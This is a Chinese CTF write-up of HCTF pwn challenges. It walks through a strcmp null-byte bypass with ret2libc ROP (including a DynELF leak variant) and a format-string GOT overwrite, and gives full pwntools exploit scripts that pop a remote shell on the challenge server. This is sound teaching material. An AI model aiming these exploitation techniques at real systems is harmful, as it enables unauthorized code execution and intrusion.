pwn step0 比较简单,看ida的代码,直接用超长的字符串覆盖变量即可。
pwn step1 比较简单,看ida的代码,直接覆盖返回值即可。
pwn step2 比较简单,看ida的代码,直接在栈上执行shellcode就行。
pwn step3:Baka Server 题目描述:
会放嘲讽的baka程序>///< bin: http://pan.baidu.com/s/1cy7hE2 密码:wge1 nc 121.42.206.184 10001 Hint: 关键词:rop,ret to libc 环境:ubuntu17.04 默认版本glibc Dockerfile:FROM ubuntu:17.04
先检查一下保护
1 2 3 4 5 6 7 veritas@ubuntu:~/pwn$ checksec baka [*] '/home/veritas/pwn/baka' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 .text:0804859E ; Attributes: bp-based frame .text:0804859E .text:0804859E ; int __cdecl main(int argc, const char **argv, const char **envp) .text:0804859E public main .text:0804859E main proc near ; DATA XREF: _start+17o .text:0804859E .text:0804859E argc = dword ptr 8 .text:0804859E argv = dword ptr 0Ch .text:0804859E envp = dword ptr 10h .text:0804859E .text:0804859E push ebp .text:0804859F mov ebp, esp .text:080485A1 and esp, 0FFFFFFF0h .text:080485A4 sub esp, 10h .text:080485A7 mov dword ptr [esp], offset aComeOnPwnMe ; "come on, pwn me!" .text:080485AE call _puts .text:080485B3 mov dword ptr [esp], 0 ; stream .text:080485BA call _fflush .text:080485BF call read_buffer .text:080485C4 mov eax, 0 .text:080485C9 leave .text:080485CA retn .text:080485CA main endp
1 2 3 4 5 6 7 int __cdecl main(int argc, const char **argv, const char **envp) { puts("come on, pwn me!"); fflush(0); read_buffer(); return 0; }
read_buffer函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 .text:0804850D ; void __cdecl read_buffer() .text:0804850D public read_buffer .text:0804850D read_buffer proc near ; CODE XREF: main+21p .text:0804850D .text:0804850D s = byte ptr -28h .text:0804850D .text:0804850D push ebp .text:0804850E mov ebp, esp .text:08048510 sub esp, 38h .text:08048513 mov dword ptr [esp+8], 14h ; n .text:0804851B mov dword ptr [esp+4], 0 ; c .text:08048523 lea eax, [ebp+s] .text:08048526 mov [esp], eax ; s .text:08048529 call _memset .text:0804852E mov dword ptr [esp+8], 100h ; nbytes .text:08048536 lea eax, [ebp+s] .text:08048539 mov [esp+4], eax ; buf .text:0804853D mov dword ptr [esp], 0 ; fd .text:08048544 call _read .text:08048549 mov dword ptr [esp+4], offset s2 ; "I'm baka!\n" .text:08048551 lea eax, [ebp+s] .text:08048554 mov [esp], eax ; s1 .text:08048557 call _strcmp .text:0804855C test eax, eax .text:0804855E jz short loc_8048584 .text:08048560 mov dword ptr [esp], offset s ; "...you are so boring." .text:08048567 call _puts .text:0804856C mov dword ptr [esp], 0 ; stream .text:08048573 call _fflush .text:08048578 mov dword ptr [esp], 1 ; status .text:0804857F call _exit .text:08048584 ; --------------------------------------------------------------------------- .text:08048584 .text:08048584 loc_8048584: ; CODE XREF: read_buffer+51j .text:08048584 mov dword ptr [esp], offset aLolIAgreeWithU ; "LOL, I agree with u!" .text:0804858B call _puts .text:08048590 mov dword ptr [esp], 0 ; stream .text:08048597 call _fflush .text:0804859C leave .text:0804859D retn .text:0804859D read_buffer endp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void __cdecl read_buffer() { char s; // [sp+10h] [bp-28h]@1 memset(&s, 0, 0x14u); read(0, &s, 0x100u); if ( strcmp(&s, "I'm baka!\n") ) { puts("...you are so boring."); fflush(0); exit(1); } puts("LOL, I agree with u!"); fflush(0); }
可以看出,在read处有溢出,但是如果strcmp的结果不是”I’m baka!\n”,就会直接exit,就无法利用溢出。
由于strcmp是根据\x00截断的,所以构造将payload的头部构造成:"I'm baka!\n" + '\x00'*2 + 'a'*28 + 'bbbb'
就可以绕过检查。
接下来就有三种方法 可以做这道题目了。
先说low一点的,我们先根据提示,下载libc-2.24.so。 libc-2.24.so下载地址:链接:http://pan.baidu.com/s/1slrWTop 密码:zsj2
有了libc,方法就简单了,先根据got表leak read函数的真实地址,然后根据现有的libc算出system和read的偏移,从而得到system的真实地址,然后向bss段写入字符串”/bin/sh\x00”,在执行system就可以拿shell了。
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *baka = ELF('baka' ) libc = ELF('libc-2.24.so' ) stuff = "I'm baka!\n" + '\x00' *2 + 'a' *28 + 'bbbb' p1ret=0x08048375 p3ret=0x0804862d base_bss = 0x0804a034 cn = remote('121.42.206.184' , 10001 ) print cn.recv()p1 = stuff + p32(0x080485ae ) + p32(baka.got['read' ]) print '\n###send payload 1###' cn.sendline(p1) print cn.recvuntil('u!\n' )p_read = u32(cn.recv(4 )) p_system = p_read - libc.symbols['read' ] + libc.symbols['system' ] cn.recv() p2 = stuff + p32(p_read) + p32(p3ret) + p32(0 ) + p32(base_bss) + p32(10 ) + p32(p_system) + 'bbbb' + p32(base_bss) print '\n###send payload 2###' cn.sendline(p2) cn.recvuntil('u!\n' ) cn.send('/bin/sh\0' ) time.sleep(0.3 ) cn.interactive()
然后是稍微高端一点方法,不需要预先知道libc的版本,通过leak两个地址的真实地址,到 http://libcdb.com/ 去搜索即可知道libc的版本。这里就不写poc了,反正拿到libc以后就和方法一一样了。
接下来是第三种方法,不需要得到libc。
首先,pwntools有一个叫dynelf的库,其中有一个叫做lookup的方法,只要你能提供一个循环leak的函数句柄,就可以动态找到指定函数的地址。
官方文档的示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 p = process('./pwnme' ) def leak (address ): data = p.read(address, 4 ) log.debug("%#x => %s" % (address, (data or '' ).encode('hex' ))) return data main = 0xfeedf4ce libc = 0xdeadb000 system = 0xdeadbeef d = DynELF(leak, main) assert d.lookup(None , 'libc' ) == libcassert d.lookup('system' , 'libc' ) == systemd = DynELF(leak, main, elf=ELF('./pwnme' )) assert d.lookup(None , 'libc' ) == libcassert d.lookup('system' , 'libc' ) == systemd = DynELF(leak, libc + 0x1234 ) assert d.lookup('system' ) == system
通过这种方法我们动态找到system的地址,接下来就和方法一一样了。
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *stuff = "I'm baka!\n" + '\x00' *2 + 'a' *28 + 'bbbb' def leak (address ): count = 0 data = '' p1 = stuff + p32(0x080485ae ) + p32(address) cn.sendline(p1) print cn.recvuntil('u!\n' ) up = "" while True : c = cn.recv(numb=1 ,timeout=0.2 ) count += 1 if up == '\n' and c == "" : data = data[:-1 ] data += "\x00" break else : data += c up = c data = data[:4 ] log.info("%#x => %s" % (address, (data or '' ).encode('hex' ))) return data cn = remote('121.42.206.184' ,10001 ) baka = ELF('baka' ) p3ret=0x0804862d base_bss = 0x0804a034 cn.recv() d = DynELF(leak, elf=ELF('baka' )) p_system = d.lookup('system' ,'libc' ) print "p_system => " + hex (p_system)p_read = d.lookup('read' ,'libc' ) print "p_read => " + hex (p_read)p2 = stuff + p32(p_read) + p32(p3ret) + p32(0 ) + p32(base_bss) + p32(10 ) + p32(p_system) + 'bbbb' + p32(base_bss) print '\n###send payload 2###' cn.sendline(p2) cn.recvuntil('u!\n' ) cn.send('/bin/sh\0' ) time.sleep(0.3 ) cn.interactive()
这里还要提一点,就是puts函数在输出时是依靠\x00截断的,而且会在结尾加上一个\x0a换行符,所以我们不能像write函数一样稳定leak4字节,而是最少leak1字节。
这里我引用一篇文章:http://bobao.360.cn/learning/detail/3298.html
文章中讲到了关于用puts函数leak的一些细节。
以下为引用:
puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“\x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含\x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾,这是puts函数的缺点,而优点就是需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。
为了克服输入不受控这一缺点,我们考虑利用puts函数输出的字符串最后一位为“\n“这一特点,分两种情况来解决。
(1)puts输出完后就没有其他输出,在这种情况下的leak函数可以这么写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def leak (address ): count = 0 data = '' payload = xxx p.send(payload) print p.recvuntil('xxx\n' ) up = "" while True : c = p.recv(numb=1 , timeout=1 ) count += 1 if up == '\n' and c == "" : buf = buf[:-1 ] buf += "\x00" break else : buf += c up = c data = buf[:4 ] log.info("%#x => %s" % (address, (data or '' ).encode('hex' ))) return data
(2)puts输出完后还有其他输出,在这种情况下的leak函数可以这么写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def leak (address ): count = 0 data = "" payload = xxx p.send(payload) print p.recvuntil("xxx\n" )) up = "" while True : c = p.recv(1 ) count += 1 if up == '\n' and c == "x" : data = buf[:-1 ] data += "\x00" break else : buf += c up = c data = buf[:4 ] log.info("%#x => %s" % (address, (data or '' ).encode('hex' ))) return data
引用结束
所以我们得到flag:hctf{Baka_Baka_Baka_QAQ}
pwn step4:古老的zz程序 题目描述:
bin: http://pan.baidu.com/s/1eR8YfOe 密码:7sd3 nc 121.42.206.184 10002
在此先提供一份源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <stdio.h> #include <signal.h> #include <unistd.h> #include <time.h> #include <string.h> #include <stdlib.h> void timeout () { write (1 ,"timeout!\n" ,9 ); exit (0 ); } void init () { alarm (30 ); signal (SIGALRM,timeout); } void menu () { puts ("welcome to my servvvvvvvvvvvvver!!!!!" ); puts ("here you can:" ); puts ("1.get time" ); puts ("2.get flag" ); fflush (0 ); } void get_time () { system ("TZ=CST-8 date" ); } void get_flag () { char buffer[0x100 ]; puts ("give me flag!" ); fflush (0 ); read (0 ,buffer,0x100 ); printf ("ok, flag is " ); printf (buffer); printf (":)\n" ); fflush (0 ); } int main (int argc,char * argv[]) { init (); char select[2 ]; while (1 ){ menu (); read (0 ,&select,2 ); switch (atoi (&select)){ case 1 : get_time (); break ; case 2 : get_flag (); break ; default : printf ("???\n" ); fflush (0 ); } } }
有了源码,我就不放ida反编译的版本了。
这道题目是一个格式化字符串漏洞实现任意地址读和写的漏洞。
大致思路是先测出格式化字符串的偏移,然后利用格式化字符串leak出got表里printf的真实地址。根据题目提供的libc库算出system和printf的偏移量,从而得到system的真实地址,再利用格式化字符串漏洞把system的真实地址写到got表中原printf的位置上,最后调用get_flag中的printf(buffer),传入的buffer为“/bin/sh\x00”,printf被覆盖成system,从而get shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *libc = ELF('/lib32/libc.so.6' ) pwn4 = ELF('pwn4' ) def exec_fmt (payload ): print cn.recvuntil('flag\n' ) cn.sendline('2' ) print cn.recvuntil('flag!\n' ) cn.send(payload) cn.recvuntil('is ' ) ret = cn.recvline() return ret cn = remote('121.42.206.184' ,10002 ) auto_fmt = FmtStr(exec_fmt) print '\nget fmt length######' print cn.recv()cn.sendline('1' ) print cn.recv()cn.sendline('2' ) print cn.recvuntil('flag!\n' )cn.send(p32(pwn4.got['system' ])+'START%7$sEND' ) cn.recvuntil("START" ) p_system = u32(cn.recv()[:4 ]) print '\n##########p_system' +hex (p_system)chg_got = fmtstr_payload(auto_fmt.offset, {pwn4.got['printf' ]: p_system}) cn.sendline('2' ) print cn.recvuntil('flag!\n' )cn.send(chg_got) print cn.recv()cn.sendline('2' ) print cn.recvuntil('flag!\n' )cn.send('/bin/sh\x00' ) cn.interactive()
flag:hctf{format_string_make_sense}